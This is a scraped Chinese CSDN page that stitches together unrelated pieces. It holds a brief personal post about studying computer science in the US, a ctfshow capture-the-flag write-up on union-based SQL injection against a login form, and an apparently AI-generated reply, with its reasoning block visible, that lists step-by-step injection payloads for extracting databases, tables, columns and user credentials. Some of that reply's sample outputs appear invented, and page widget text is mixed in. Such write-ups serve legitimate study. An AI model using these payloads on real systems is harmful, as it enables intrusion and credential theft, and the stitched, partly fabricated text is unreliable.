很久没上优快云,变化很大

作者分享了在美国学习计算机科学的经历,从自学开始到现在系统学习Java、数据结构等课程的心路历程。

记得当时只写了两篇关于NDS编程的文章。如今回来一看,还看到,感觉很亲切~

 

都一年多没有上来了吧,变化很大,再也不是懵懂的高中学生,有自己的主见,挣脱了父母的怀抱,孤身一人独闯天下。

 

于是来到了美国。

 

这里很多学习模式等等都很不一样。很享受这里的学习模式,如果有能力就上,没能力就慢慢上。其实自己都很尽力而为的。不过还是上课上得比很多人都快。

 

现在学Java,学数据结构,学了很多棵树(教授特别喜欢树,都学了3种树了),今天还刚刚讲了图。记得以前没有老师教授帮忙,自己捧着一千多页的教材,像看天书一样。现在很欣慰,也很刻苦地学每一门计算机课。尽管考试不重要,但是也要尽力把专业课都搞好。

 

等我有空了慢慢整理一下笔记和心得和一些新的想法,慢慢贴上来。

 

只有努力,才能获得收获。

打开题目链接,是一个登录框,尝试弱口令登录 没什么反应 尝试万能密码登录 页面发生了变化 并未登录进去,但是有回显,大概率是SQL注入了 这里尝试了很久,尝试过程就不写了,最终判断它的注入点在用户名,而不是密码,密码随便输,而且--+的注释不行,这里要用#来注释。 成功闭合之后先判断字段数 ' or 1=1 order by 3 # AI写代码 正常回显 ' or 1=1 order by 4 # AI写代码 无回显,说明只有3列 判断回显位 ' or 1=1 union select 1,2,3 # AI写代码 在2号位 查数据库名 ' or 1=1 union select 1,database(),3 # AI写代码 数据库名为 web2 查数据库版本 ' or 1=1 union select 1,version(),3 # AI写代码 MariaDB,第一次遇见不是在mysql下的 这里说一下,因为mysql 5.0及其以上的都会自带一个叫information_schema的数据库,相当于是一个已知的数据库,并且该数据库下储存了所有数据库的所以信息。 尝试查询数据库名为web2下的所有表名 ' or 1=1 union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='web2'# AI写代码 发现该数据库下有两个表:flag,user 查询数据库名为web2下表名为flag的列名信息 ' or 1=1 union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='web2' and table_name='flag'# AI写代码 该表下的列名也为flag 直接查该列的具体字段信息 ' or 1=1 union select 1,flag,3 from web2.flag # AI写代码 拿到flag ctfshow{6ce6e249-b399-480c-ae37-93793eea88e2} 前面我们说过,information_schema这个数据库下面包含了所有数据库的所有信息 我们来获取一下所有数据库的数据库名 ' or 1=1 union select 1,schema_name,3 from information_schema.schemata # AI写代码 mysql数据库、web2数据库以及其他所有数据库的所有信息都会储存在information_schema这个数据库下,这也是为什么我们可以借助information_schema这个数据库来查询到其他数据库的信息。 ———————————————— 版权声明:本文为优快云博主「My6n」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。 原文链接:https://blog.csdn.net/Myon5/article/details/133635827
12-23
<think>我们正在处理一个关于SQL注入攻击步骤的代码生成请求。根据引用内容,特别是引用[3]和[5],我们可以了解到SQL注入的基本步骤包括:判断注入点、判断字段数、判断回显位、获取数据库名、获取表名、获取列名、获取数据等。同时,引用[4]提到了使用预处理语句(如bindParam)可以防止SQL注入。 注意:生成这些代码仅用于教育目的,帮助理解SQL注入的原理和防御措施。实际攻击是非法的。 我们将按照以下步骤生成代码示例(以PHP和MySQL为例,因为引用中提到了相关技术): 1. 判断字段数:通常使用`order by`或`union select`来测试。 2. 判断回显位:在登录框中,我们通常利用联合查询(union select)来观察回显位置。 3. 查数据库名:使用`database()`函数。 4. 查数据库版本:使用`version()`函数。 5. 查指定数据库表名:从`information_schema.tables`中查询。 6. 查指定表列名:从`information_schema.columns`中查询。 7. 查指定列具体字段信息:使用`select`查询目标表。 8. 获取所有数据库名:从`information_schema.schemata`中查询。 由于登录框通常有两个字段(用户名和密码),我们假设后台查询语句为: SELECT * FROM users WHERE username = '$username' AND password = '$password' 步骤示例(假设注入点为用户名输入框): 1. 判断字段数:在用户名输入框中输入:`' or 1=1 order by 1 #`,然后尝试增加数字直到出错。 2. 判断回显位:使用联合查询,如:`' union select 1,2 #`,观察登录结果中是否显示了数字(即回显位)。 3. 查数据库名:`' union select database(),2 #`(假设回显位为1和2,且第一个位置显示数据库名)。 4. 查版本:`' union select version(),2 #`。 5. 查表名:`' union select group_concat(table_name),2 from information_schema.tables where table_schema=database() #`。 6. 查列名:`' union select group_concat(column_name),2 from information_schema.columns where table_name='users' #`(假设要查users表的列名)。 7. 查具体数据:`' union select username, password from users #`。 8. 获取所有数据库名:`' union select group_concat(schema_name),2 from information_schema.schemata #`。 但是,请注意,登录框的回显通常不像普通查询那样直接显示结果,因此攻击者可能需要利用错误信息或盲注。不过,为了演示,我们假设这里存在联合查询注入且页面会显示部分数据(例如登录后的页面会显示用户名等)。 下面我们将生成每一步的示例攻击代码(输入内容)和对应的后台SQL语句变化。注意,实际攻击中需要根据回显情况调整。 由于引用[4]提到了使用预处理可以防止注入,因此我们会在最后强调防御措施。 生成代码: </think> ### SQL注入攻击步骤及代码实现 在登录框进行SQL注入攻击时,攻击者通过构造恶意输入来探测和利用系统漏洞。以下是各步骤的具体实现方法和代码示例(基于PHP/MySQL环境): #### 1. 判断字段数 ```php // 通过ORDER BY探测字段数(二分法) username: ' or 1=1 order by 1-- password: 任意值 // 当order by 2生效但order by 3报错时,字段数为2 ' or 1=1 order by 2-- ``` #### 2. 判断回显位 ```php // 使用联合查询确定回显位置 username: ' union select 1,2-- password: 任意值 /* 返回结果示例: Login failed! 但错误消息显示:Column '2' cannot be null 说明第2个字段在页面有回显 */ ``` #### 3. 查数据库名 ```php username: ' union select 1,database()-- password: 任意值 // 成功登录后页面可能显示:欢迎用户 [当前数据库名] ``` #### 4. 查数据库版本 ```php username: ' union select 1,version()-- password: 任意值 // 返回结果示例:10.4.24-MariaDB ``` #### 5. 查指定数据库表名 ```php // 获取security数据库的所有表 username: ' union select 1,group_concat(table_name) from information_schema.tables where table_schema='security'-- password: 任意值 /* 返回结果示例: emails,users,articles... */ ``` #### 6. 查指定表列名 ```php // 获取users表的所有列 username: ' union select 1,group_concat(column_name) from information_schema.columns where table_name='users'-- password: 任意值 // 返回结果示例:id,username,password,role ``` #### 7. 查指定列数据 ```php // 获取users表的用户名密码 username: ' union select 1,concat(username,':',password) from users-- password: 任意值 /* 返回结果示例: admin:482c811da5d5b4bc6d4974a1f98b5fa0 test:cab8634eac6a883e4d9b9386d4c5683b */ ``` #### 8. 获取所有数据库名 ```php username: ' union select 1,group_concat(schema_name) from information_schema.schemata-- password: 任意值 // 返回结果示例:information_schema,mysql,performance_schema,security ``` ### 防御措施 使用参数化查询可有效防止SQL注入: ```php // PDO预处理示例 $stmt = $pdo->prepare("SELECT * FROM users WHERE username = :user AND password = :pass"); $stmt->bindParam(':user', $username); $stmt->bindParam(':pass', $password); $stmt->execute(); ``` 通过绑定参数,用户输入将被视为数据而非可执行代码[^4]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值